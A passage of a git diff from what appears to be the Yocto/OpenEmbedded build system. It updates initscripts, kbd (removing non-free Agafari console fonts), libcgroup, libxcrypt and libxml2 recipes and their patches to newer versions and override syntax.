+FILES:${PN}-sushell = "${base_sbindir}/sushell"
HALTARGS ?= "-d -f"
+VARLIBMOUNTARGS ?= ""
do_configure() {
sed -i -e "s:SED_HALTARGS:${HALTARGS}:g" ${WORKDIR}/halt
sed -i -e "s:SED_HALTARGS:${HALTARGS}:g" ${WORKDIR}/reboot
+ sed -i -e "s:SED_VARLIBMOUNTARGS:${VARLIBMOUNTARGS}:g" ${WORKDIR}/read-only-rootfs-hook.sh
}
do_install () {
@@ -106,7 +106,11 @@ do_install () {
install -m 0755 ${WORKDIR}/save-rtc.sh ${D}${sysconfdir}/init.d
install -m 0644 ${WORKDIR}/volatiles ${D}${sysconfdir}/default/volatiles/00_core
if [ ${@ oe.types.boolean('${VOLATILE_LOG_DIR}') } = True ]; then
- echo "l root root 0755 /var/log /var/volatile/log" >> ${D}${sysconfdir}/default/volatiles/00_core
+ sed -i -e '\@^d root root 0755 /var/volatile/log none$@ a\l root root 0755 /var/log /var/volatile/log' \
+ ${D}${sysconfdir}/default/volatiles/00_core
+ fi
+ if [ "${VOLATILE_TMP_DIR}" != "yes" ]; then
+ sed -i -e "/\<tmp\>/d" ${D}${sysconfdir}/default/volatiles/00_core
fi
install -m 0755 ${WORKDIR}/dmesg.sh ${D}${sysconfdir}/init.d
install -m 0644 ${WORKDIR}/logrotate-dmesg.conf ${D}${sysconfdir}/
@@ -130,13 +134,13 @@ do_install () {
update-rc.d -r ${D} rmnologin.sh start 99 2 3 4 5 .
update-rc.d -r ${D} sendsigs start 20 0 6 .
update-rc.d -r ${D} urandom start 38 S 0 6 .
- update-rc.d -r ${D} umountnfs.sh start 31 0 1 6 .
+ update-rc.d -r ${D} umountnfs.sh stop 31 0 1 6 .
update-rc.d -r ${D} umountfs start 40 0 6 .
update-rc.d -r ${D} reboot start 90 6 .
update-rc.d -r ${D} halt start 90 0 .
update-rc.d -r ${D} save-rtc.sh start 25 0 6 .
update-rc.d -r ${D} banner.sh start 02 S .
- update-rc.d -r ${D} checkroot.sh start 06 S .
+ update-rc.d -r ${D} checkroot.sh start 05 S .
update-rc.d -r ${D} mountall.sh start 03 S .
update-rc.d -r ${D} hostname.sh start 39 S .
update-rc.d -r ${D} mountnfs.sh start 15 2 3 4 5 .
@@ -169,7 +173,7 @@ MASKED_SCRIPTS = " \
sysfs \
urandom"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
if type systemctl >/dev/null 2>/dev/null; then
if [ -n "$D" ]; then
OPTS="--root=$D"
@@ -185,4 +189,4 @@ pkg_postinst_${PN} () {
fi
}
-CONFFILES_${PN} += "${sysconfdir}/init.d/checkroot.sh"
+CONFFILES:${PN} += "${sysconfdir}/init.d/checkroot.sh"
diff --git a/meta/recipes-core/kbd/kbd/0001-Remove-non-free-Agafari-fonts.patch b/meta/recipes-core/kbd/kbd/0001-Remove-non-free-Agafari-fonts.patch
new file mode 100644
index 0000000000..de279b55f9
--- /dev/null
+++ b/meta/recipes-core/kbd/kbd/0001-Remove-non-free-Agafari-fonts.patch
@@ -0,0 +1,73 @@
+From b757e6842f9631757f0d1a6b3833aabffa9ffeee Mon Sep 17 00:00:00 2001
+From: Alexey Gladkov <legion@kernel.org>
+Date: Thu, 29 Feb 2024 17:38:37 +0100
+Subject: [PATCH] Remove non-free Agafari fonts
+
+Based on legal analysis, we are removing non-free fonts for now. If we
+can change the license of these fonts, we will return them back.
+
+From: Stanislav Brabec <sbrabec@suse.com>
+Date: Wed, 28 Feb 2024 16:47:54 +0100
+Subject: kbd: Legal problems of Agafari fonts
+
+ The data/consolefonts/README.Ethiopic contains a notice:
+ Agafari:
+ Donated by the Ethiopian Science and Technology Commission
+ <ncic@padis.gn.apc.org> or <ncic@telecom.net.et> and may be redistributed
+ for non-commercial use under Unix environments only.
+
+ According to our legal review, it makes impossible to distribute these
+ fonts as part of any commercial products, and even makes it impossible to
+ distribute kbd sources as part of any commercial product services.
+
+ Additionally, it makes the whole kbd package incompatible with GPL, so the
+ COPYING file (created during build of the tarball) cannot declare GPL
+ version 2. It also violates section 6 of GPL (no further restrictions).
+
+ That is why several GNU/Linux distributions exclude Agafari from the
+ release. To be on a safe side, SUSE even decided to repack any source
+ tarballs before putting it to their servers.
+
+ This was probably reported to the former kbd maintainer about 20 years ago,
+ but nothing changed over years.
+
+ That is why I recommend removing Agafari fonts and removing the reference
+ to them from README.Ethiopic. Alternatively, you can ask the Ethiopian
+ Science and Technology Commission for re-licensing.
+
+Signed-off-by: Alexey Gladkov <legion@kernel.org>
+
+Upstream-Status: Backport [https://github.com/legionus/kbd/commit/b757e6842f9631757f0d1a6b3833aabffa9ffeee]
+
+[do_configure prepend added to remove binary files]
+
+Signed-off-by: Peter Marko <peter.marko@siemens.com>
+---
+ data/consolefonts/Agafari-12.psfu | Bin 7989 -> 0 bytes
+ data/consolefonts/Agafari-14.psfu | Bin 9013 -> 0 bytes
+ data/consolefonts/Agafari-16.psfu | Bin 10037 -> 0 bytes
+ data/consolefonts/README.Ethiopic | 5 -----
+ 4 files changed, 5 deletions(-)
+ delete mode 100644 data/consolefonts/Agafari-12.psfu
+ delete mode 100644 data/consolefonts/Agafari-14.psfu
+ delete mode 100644 data/consolefonts/Agafari-16.psfu
+
+diff --git a/data/consolefonts/README.Ethiopic b/data/consolefonts/README.Ethiopic
+index 7502722..2810797 100644
+--- a/data/consolefonts/README.Ethiopic
++++ b/data/consolefonts/README.Ethiopic
+@@ -14,11 +14,6 @@ Ethiopic fonts:
+ restrictions below:
+
+
+-Agafari:
+- Donated by the Ethiopian Science and Technology Commission
+- <ncic@padis.gn.apc.org> or <ncic@telecom.net.et> and may be redistributed
+- for non-commercial use under Unix environments only.
+-
+ Goha and GohaClassic:
+ Donated by Yitna Firdyiwek <ybf2u@virgina.edu> of GohaTibeb Associates
+ and may be redistributed without restriction under the GNU GPL 2.0.
+--
+2.30.2
+
diff --git a/meta/recipes-core/kbd/kbd_2.3.0.bb b/meta/recipes-core/kbd/kbd_2.3.0.bb
deleted file mode 100644
index 529f49bef4..0000000000
--- a/meta/recipes-core/kbd/kbd_2.3.0.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Keytable files and keyboard utilities"
-HOMEPAGE = "http://www.kbd-project.org/"
-# everything minus console-fonts is GPLv2+
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=892f569a555ba9c07a568a7c0c4fa63a"
-
-inherit autotools gettext pkgconfig
-
-DEPENDS += "flex-native"
-
-RREPLACES_${PN} = "console-tools"
-RPROVIDES_${PN} = "console-tools"
-RCONFLICTS_${PN} = "console-tools"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/${BPN}/${BP}.tar.xz \
- "
-
-SRC_URI[sha256sum] = "685056143cb8effd0a1d44b5c391eb50d80dcfd014b1a4d6e2650a28d61cb82a"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
- "
-
-PACKAGECONFIG[pam] = "--enable-vlock, --disable-vlock, libpam,"
-
-PACKAGES += "${PN}-consolefonts ${PN}-keymaps ${PN}-unimaps ${PN}-consoletrans"
-
-FILES_${PN}-consolefonts = "${datadir}/consolefonts"
-FILES_${PN}-consoletrans = "${datadir}/consoletrans"
-FILES_${PN}-keymaps = "${datadir}/keymaps"
-FILES_${PN}-unimaps = "${datadir}/unimaps"
-
-inherit update-alternatives
-
-ALTERNATIVE_${PN} = "chvt deallocvt fgconsole openvt showkey \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'vlock','', d)}"
-ALTERNATIVE_PRIORITY = "100"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/kbd/kbd_2.6.4.bb b/meta/recipes-core/kbd/kbd_2.6.4.bb
new file mode 100644
index 0000000000..2331b51e59
--- /dev/null
+++ b/meta/recipes-core/kbd/kbd_2.6.4.bb
@@ -0,0 +1,67 @@
+SUMMARY = "Keytable files and keyboard utilities"
+HOMEPAGE = "http://www.kbd-project.org/"
+DESCRIPTION = "The kbd project contains tools for managing Linux console (Linux console, virtual terminals, keyboard, etc.) – mainly, what they do is loading console fonts and keyboard maps."
+
+# consolefonts and keymaps contain also some public domain and author notice licenses
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later & GPL-3.0-or-later"
+LIC_FILES_CHKSUM = " \
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://data/keymaps/pine/en.map;beginline=2;endline=15;md5=20914a59c0546a7b77ebf959bc88ad5d \
+"
+LICENSE:${PN} = "GPL-2.0-or-later & LGPL-2.0-or-later"
+LICENSE:${PN}-consolefonts = "GPL-2.0-or-later"
+LICENSE:${PN}-consoletrans = "GPL-2.0-or-later"
+LICENSE:${PN}-keymaps-pine = "GPL-3.0-or-later"
+LICENSE:${PN}-keymaps = "GPL-2.0-or-later"
+LICENSE:${PN}-unimaps = "GPL-2.0-or-later"
+
+inherit autotools gettext pkgconfig
+
+DEPENDS += "flex-native"
+
+RREPLACES:${PN} = "console-tools"
+RPROVIDES:${PN} = "console-tools"
+RCONFLICTS:${PN} = "console-tools"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/${BPN}/${BP}.tar.xz \
+ file://0001-Remove-non-free-Agafari-fonts.patch \
+ "
+
+SRC_URI[sha256sum] = "519f8d087aecca7e0a33cd084bef92c066eb19731666653dcc70c9d71aa40926"
+
+EXTRA_OECONF = "--disable-tests"
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
+ "
+
+PACKAGECONFIG[pam] = "--enable-vlock, --disable-vlock, libpam,"
+
+PACKAGES += "${PN}-consolefonts ${PN}-keymaps-pine ${PN}-keymaps ${PN}-unimaps ${PN}-consoletrans"
+
+FILES:${PN}-consolefonts = "${datadir}/consolefonts"
+FILES:${PN}-consoletrans = "${datadir}/consoletrans"
+FILES:${PN}-keymaps-pine = "${datadir}/keymaps/pine"
+FILES:${PN}-keymaps = "${datadir}/keymaps"
+FILES:${PN}-unimaps = "${datadir}/unimaps"
+
+RRECOMMENDS:${PN}-keymaps = "${PN}-keymaps-pine"
+
+# remove this when upgrading to newer version which has integrated
+# https://github.com/legionus/kbd/commit/b757e6842f9631757f0d1a6b3833aabffa9ffeee
+do_configure:prepend() {
+ rm -rf ${S}/data/consolefonts/Agafari-1*
+}
+
+do_install:append () {
+ if [ "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', 'no', d)}" = "yes" ] \
+ && [ -f ${D}${sysconfdir}/pam.d/vlock ]; then
+ mv -f ${D}${sysconfdir}/pam.d/vlock ${D}${sysconfdir}/pam.d/vlock.kbd
+ fi
+}
+
+inherit update-alternatives
+
+ALTERNATIVE:${PN} = "chvt deallocvt fgconsole openvt showkey \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'vlock','', d)}"
+ALTERNATIVE_PRIORITY = "100"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch b/meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch
deleted file mode 100644
index d133703dec..0000000000
--- a/meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 0d88b73d189ea3440ccaab00418d6469f76fa590 Mon Sep 17 00:00:00 2001
-From: Michal Hocko <mhocko@suse.com>
-Date: Wed, 18 Jul 2018 11:24:29 +0200
-Subject: [PATCH] cgrulesengd: remove umask(0)
-
-One of our partners has noticed that cgred daemon is creating a log file
-(/var/log/cgred) with too wide permissions (0666) and that is seen as
-a security bug because an untrusted user can write to otherwise
-restricted area. CVE-2018-14348 has been assigned to this issue.
-
-CVE: CVE-2018-14348
-Upstream-Status: Backport [https://sourceforge.net/p/libcg/libcg/ci/0d88b73d189ea3440ccaab00418d6469f76fa590]
-
-Signed-off-by: Michal Hocko <mhocko@suse.com>
-Acked-by: Balbir Singh <bsingharora@gmail.com>
-Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
----
- src/daemon/cgrulesengd.c | 3 ---
- 1 file changed, 3 deletions(-)
-
-diff --git a/src/daemon/cgrulesengd.c b/src/daemon/cgrulesengd.c
-index ea51f11..0d288f3 100644
---- a/src/daemon/cgrulesengd.c
-+++ b/src/daemon/cgrulesengd.c
-@@ -889,9 +889,6 @@ int cgre_start_daemon(const char *logp, const int logf,
- } else if (pid > 0) {
- exit(EXIT_SUCCESS);
- }
--
-- /* Change the file mode mask. */
-- umask(0);
- } else {
- flog(LOG_DEBUG, "Not using daemon mode\n");
- pid = getpid();
---
-2.13.3
-
diff --git a/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch b/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch
deleted file mode 100644
index 65f4ef9a55..0000000000
--- a/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch
+++ /dev/null
@@ -1,235 +0,0 @@
-commit ca780b4f7f71abeeb04a585f2a4d889caaa985fa
-Author: Isaac Dunham <ibid.ag@gmail.com>
-Date: Fri Sep 5 22:35:32 2014 -0700
-
- Remove __.*DECLS nonsense
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: libcgroup-0.41/include/libcgroup/config.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/config.h
-+++ libcgroup-0.41/include/libcgroup/config.h
-@@ -9,7 +9,9 @@
- #include <features.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_config 5. Configuration
-@@ -107,6 +109,8 @@ int cgroup_config_create_template_group(
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /*_LIBCGROUP_CONFIG_H*/
-Index: libcgroup-0.41/include/libcgroup/error.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/error.h
-+++ libcgroup-0.41/include/libcgroup/error.h
-@@ -9,7 +9,9 @@
- #include <features.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_errors 6. Error handling
-@@ -99,6 +101,8 @@ int cgroup_get_last_errno(void);
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_INIT_H */
-Index: libcgroup-0.41/include/libcgroup/groups.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/groups.h
-+++ libcgroup-0.41/include/libcgroup/groups.h
-@@ -11,7 +11,9 @@
- #include <stdbool.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * Flags for cgroup_delete_cgroup_ext().
-@@ -577,6 +579,8 @@ char *cgroup_get_cgroup_name(struct cgro
- */
-
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_GROUPS_H */
-Index: libcgroup-0.41/include/libcgroup/init.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/init.h
-+++ libcgroup-0.41/include/libcgroup/init.h
-@@ -9,7 +9,9 @@
- #include <features.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_init 1. Initialization
-@@ -58,6 +60,8 @@ int cgroup_get_subsys_mount_point(const
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_INIT_H */
-Index: libcgroup-0.41/include/libcgroup/iterators.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/iterators.h
-+++ libcgroup-0.41/include/libcgroup/iterators.h
-@@ -11,7 +11,9 @@
- #include <features.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_iterators 3. Iterators
-@@ -423,6 +425,8 @@ int cgroup_get_subsys_mount_point_end(vo
- * @}
- */
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_ITERATORS_H */
-Index: libcgroup-0.41/include/libcgroup/tasks.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/tasks.h
-+++ libcgroup-0.41/include/libcgroup/tasks.h
-@@ -12,7 +12,9 @@
- #include <stdbool.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /** Flags for cgroup_change_cgroup_uid_gid(). */
- enum cgflags {
-@@ -204,6 +206,8 @@ int cgroup_register_unchanged_process(pi
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_TASKS_H */
-Index: libcgroup-0.41/src/daemon/cgrulesengd.h
-===================================================================
---- libcgroup-0.41.orig/src/daemon/cgrulesengd.h
-+++ libcgroup-0.41/src/daemon/cgrulesengd.h
-@@ -17,7 +17,9 @@
-
- #include <features.h>
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- #include "config.h"
- #include "libcgroup.h"
-@@ -119,7 +121,9 @@ void cgre_flash_templates(int signum);
- */
- void cgre_catch_term(int signum);
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _CGRULESENGD_H */
-
-Index: libcgroup-0.41/src/libcgroup-internal.h
-===================================================================
---- libcgroup-0.41.orig/src/libcgroup-internal.h
-+++ libcgroup-0.41/src/libcgroup-internal.h
-@@ -16,7 +16,9 @@
-
- #define __LIBCG_INTERNAL
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- #include "config.h"
- #include <fts.h>
-@@ -279,6 +281,8 @@ extern void cgroup_dictionary_iterator_e
- */
- int cg_chmod_path(const char *path, mode_t mode, int owner_is_umask);
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif
-Index: libcgroup-0.41/include/libcgroup/log.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/log.h
-+++ libcgroup-0.41/include/libcgroup/log.h
-@@ -11,7 +11,9 @@
-
- #include <stdarg.h>
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_log 7. Logging
-@@ -142,6 +144,8 @@ extern int cgroup_parse_log_level_str(co
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_LOG_H */
diff --git a/meta/recipes-core/libcgroup/libcgroup_0.41.bb b/meta/recipes-core/libcgroup/libcgroup_0.41.bb
deleted file mode 100644
index 92d7261b0d..0000000000
--- a/meta/recipes-core/libcgroup/libcgroup_0.41.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "Linux control group abstraction library"
-HOMEPAGE = "http://libcg.sourceforge.net/"
-DESCRIPTION = "libcgroup is a library that abstracts the control group file system \
-in Linux. Control groups allow you to limit, account and isolate resource usage \
-(CPU, memory, disk I/O, etc.) of groups of processes."
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1"
-
-inherit autotools pkgconfig
-
-DEPENDS = "bison-native flex-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/libcg/${BPN}/v0.41/${BPN}-${PV}.tar.bz2 \
- file://CVE-2018-14348.patch"
-SRC_URI_append_libc-musl = " file://musl-decls-compat.patch"
-
-SRC_URI[md5sum] = "3dea9d50b8a5b73ff0bf1cdcb210f63f"
-SRC_URI[sha256sum] = "e4e38bdc7ef70645ce33740ddcca051248d56b53283c0dc6d404e17706f6fb51"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libcg/files/libcgroup/"
-
-DEPENDS_append_libc-musl = " fts "
-EXTRA_OEMAKE_append_libc-musl = " LIBS=-lfts"
-
-PACKAGECONFIG = "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-PACKAGECONFIG[pam] = "--enable-pam-module-dir=${base_libdir}/security --enable-pam=yes,--enable-pam=no,libpam"
-
-PACKAGES =+ "cgroups-pam-plugin"
-FILES_cgroups-pam-plugin = "${base_libdir}/security/pam_cgroup.so*"
-FILES_${PN}-dev += "${base_libdir}/security/*.la"
-
-do_install_append() {
- # Moving libcgroup to base_libdir
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mkdir -p ${D}/${base_libdir}/
- mv -f ${D}${libdir}/libcgroup.so.* ${D}${base_libdir}/
- rm -f ${D}${libdir}/libcgroup.so
- lnr ${D}${base_libdir}/libcgroup.so.1 ${D}${libdir}/libcgroup.so
- fi
- # pam modules in ${base_libdir}/security/ should be binary .so files, not symlinks.
- if [ -f ${D}${base_libdir}/security/pam_cgroup.so.0.0.0 ]; then
- mv -f ${D}${base_libdir}/security/pam_cgroup.so.0.0.0 ${D}${base_libdir}/security/pam_cgroup.so
- rm -f ${D}${base_libdir}/security/pam_cgroup.so.*
- fi
-}
diff --git a/meta/recipes-core/libcgroup/libcgroup_3.1.0.bb b/meta/recipes-core/libcgroup/libcgroup_3.1.0.bb
new file mode 100644
index 0000000000..4b4f19e36f
--- /dev/null
+++ b/meta/recipes-core/libcgroup/libcgroup_3.1.0.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Linux control group abstraction library"
+HOMEPAGE = "http://libcg.sourceforge.net/"
+DESCRIPTION = "libcgroup is a library that abstracts the control group file system \
+in Linux. Control groups allow you to limit, account and isolate resource usage \
+(CPU, memory, disk I/O, etc.) of groups of processes."
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4d794c5d710e5b3547a6cc6a6609a641"
+
+inherit autotools pkgconfig github-releases
+
+DEPENDS = "bison-native flex-native"
+DEPENDS:append:libc-musl = " fts"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${BP}.tar.gz \
+"
+UPSTREAM_CHECK_URI = "https://github.com/libcgroup/libcgroup/tags"
+
+SRC_URI[sha256sum] = "976ec4b1e03c0498308cfd28f1b256b40858f636abc8d1f9db24f0a7ea9e1258"
+
+PACKAGECONFIG = "${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)}"
+PACKAGECONFIG[pam] = "--enable-pam-module-dir=${base_libdir}/security --enable-pam=yes,--enable-pam=no,libpam"
+PACKAGECONFIG[systemd] = "--enable-systemd,--disable-systemd,systemd"
+
+PACKAGES =+ "cgroups-pam-plugin"
+FILES:cgroups-pam-plugin = "${base_libdir}/security/pam_cgroup.so*"
+FILES:${PN}-dev += "${base_libdir}/security/*.la"
+FILES:${PN}-staticdev += "${base_libdir}/security/pam_cgroup.a"
+
+do_install:append() {
+ # Until we ship the test suite, this library isn't useful
+ rm -f ${D}${libdir}/libcgroupfortesting.*
+}
diff --git a/meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch b/meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch
new file mode 100644
index 0000000000..94aa3fed49
--- /dev/null
+++ b/meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch
@@ -0,0 +1,33 @@
+From 7b2a0cdc281d94a5782c37ef87040c341447b4b4 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Fri, 30 Apr 2021 10:35:02 +0100
+Subject: [PATCH] libxcrypt: Update to 4.4.19 release and fix symbol version
+
+If you pass CFLAGS with a leading space, " " gets passed to popen and convinces
+gcc to try and open a file called " ". This results in a confusing error message
+like:
+
+x86_64-pokysdk-linux-gcc: error: : No such file or directory
+
+Avoid this by stripping empty elements out of CFLAGS.
+
+Upstream-Status: Submitted [https://github.com/besser82/libxcrypt/pull/126]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+---
+ build-aux/scripts/compute-symver-floor | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/build-aux/scripts/compute-symver-floor b/build-aux/scripts/compute-symver-floor
+index 4ec82e1..8117342 100644
+--- a/build-aux/scripts/compute-symver-floor
++++ b/build-aux/scripts/compute-symver-floor
+@@ -36,6 +36,8 @@ sub preprocessor_check {
+ die "C compiler not available\n" unless @CC;
+
+ @CFLAGS = sh_split($ENV{CFLAGS} // q{});
++ # Remove empty elements, particularly leading ones which cause issues with popen below
++ @CFLAGS = grep {$_} @CFLAGS;
+
+ # Remove empty elements, particularly leading ones which
+ # cause issues with popen below.
diff --git a/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.16.bb b/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.16.bb
deleted file mode 100644
index ba74eb1f94..0000000000
--- a/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.16.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# This provides libcrypto.so.1 which contains obsolete APIs, needed for uninative in particular
-#
-
-require libxcrypt.inc
-
-PROVIDES = ""
-AUTO_LIBNAME_PKGS = ""
-EXCLUDE_FROM_WORLD = "1"
-
-API = "--enable-obsolete-api"
-
-do_install_append () {
- rm -rf ${D}${includedir}
- rm -rf ${D}${libdir}/pkgconfig
- rm -rf ${D}${datadir}
-}
-
diff --git a/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.36.bb b/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.36.bb
new file mode 100644
index 0000000000..d5546ce9ba
--- /dev/null
+++ b/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.36.bb
@@ -0,0 +1,18 @@
+#
+# This provides libcrypto.so.1 which contains obsolete APIs, needed for uninative in particular
+#
+
+require libxcrypt.inc
+
+PROVIDES = ""
+AUTO_LIBNAME_PKGS = ""
+EXCLUDE_FROM_WORLD = "1"
+
+API = "--enable-obsolete-api"
+
+do_install:append () {
+ rm -rf ${D}${includedir}
+ rm -rf ${D}${libdir}/pkgconfig
+ rm -rf ${D}${libdir}/libcrypt.so
+ rm -rf ${D}${datadir}
+}
diff --git a/meta/recipes-core/libxcrypt/libxcrypt.inc b/meta/recipes-core/libxcrypt/libxcrypt.inc
index da7607aef3..ba93d91aef 100644
--- a/meta/recipes-core/libxcrypt/libxcrypt.inc
+++ b/meta/recipes-core/libxcrypt/libxcrypt.inc
@@ -2,30 +2,26 @@ SUMMARY = "Extended cryptographic library (from glibc)"
DESCRIPTION = "Forked code from glibc libary to extract only crypto part."
HOMEPAGE = "https://github.com/besser82/libxcrypt"
SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM ?= "file://LICENSING;md5=3bb6614cf5880cbf1b9dbd9e3d145e2c \
- file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
-"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSING;md5=c0a30e2b1502c55a7f37e412cd6c6a4b \
+ file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
+ "
inherit autotools pkgconfig
-SRC_URI = "git://github.com/besser82/libxcrypt.git;branch=${SRCBRANCH}"
-SRCREV = "4ffa4d38396c334a1e002427c22281b047a3d6a6"
-SRCBRANCH ?= "develop"
+SRC_URI = "git://github.com/besser82/libxcrypt.git;branch=${SRCBRANCH};protocol=https"
+SRCREV = "f531a36aa916a22ef2ce7d270ba381e264250cbf"
+SRCBRANCH ?= "master"
-PROVIDES = "virtual/crypt"
+SRC_URI += "file://fix_cflags_handling.patch"
-FILES_${PN} = "${libdir}/libcrypt*.so.* \
- ${libdir}/libcrypt-*.so \
- ${libdir}/libowcrypt*.so.* \
- ${libdir}/libowcrypt-*.so \
-"
+PROVIDES = "virtual/crypt"
S = "${WORKDIR}/git"
BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir} -Wno-error"
-CPPFLAGS_append_class-nativesdk = " -Wno-error"
+CPPFLAGS:append:class-nativesdk = " -Wno-error"
API = "--disable-obsolete-api"
EXTRA_OECONF += "${API}"
diff --git a/meta/recipes-core/libxcrypt/libxcrypt_4.4.16.bb b/meta/recipes-core/libxcrypt/libxcrypt_4.4.36.bb
index 79dba2f6dc..79dba2f6dc 100644
--- a/meta/recipes-core/libxcrypt/libxcrypt_4.4.16.bb
+++ b/meta/recipes-core/libxcrypt/libxcrypt_4.4.36.bb
diff --git a/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch b/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch
deleted file mode 100644
index 5e9a0a506b..0000000000
--- a/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch
+++ /dev/null
@@ -1,98 +0,0 @@
-From 2b5fb416aa275fd2a17a0139a2f783998bcb42cc Mon Sep 17 00:00:00 2001
-From: Peter Kjellerstedt <pkj@axis.com>
-Date: Fri, 9 Jun 2017 17:50:46 +0200
-Subject: [PATCH] Make ptest run the python tests if python is enabled
-
-One of the tests (tstLastError.py) needed a minor correction. It might
-be due to the fact that the tests are forced to run with Python 3.
-
-Upstream-Status: Inappropriate [OE specific]
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-
----
- Makefile.am | 2 +-
- python/Makefile.am | 9 +++++++++
- python/tests/Makefile.am | 10 ++++++++++
- python/tests/tstLastError.py | 2 +-
- 4 files changed, 21 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.am b/Makefile.am
-index ae62274..bd1e425 100644
---- a/Makefile.am
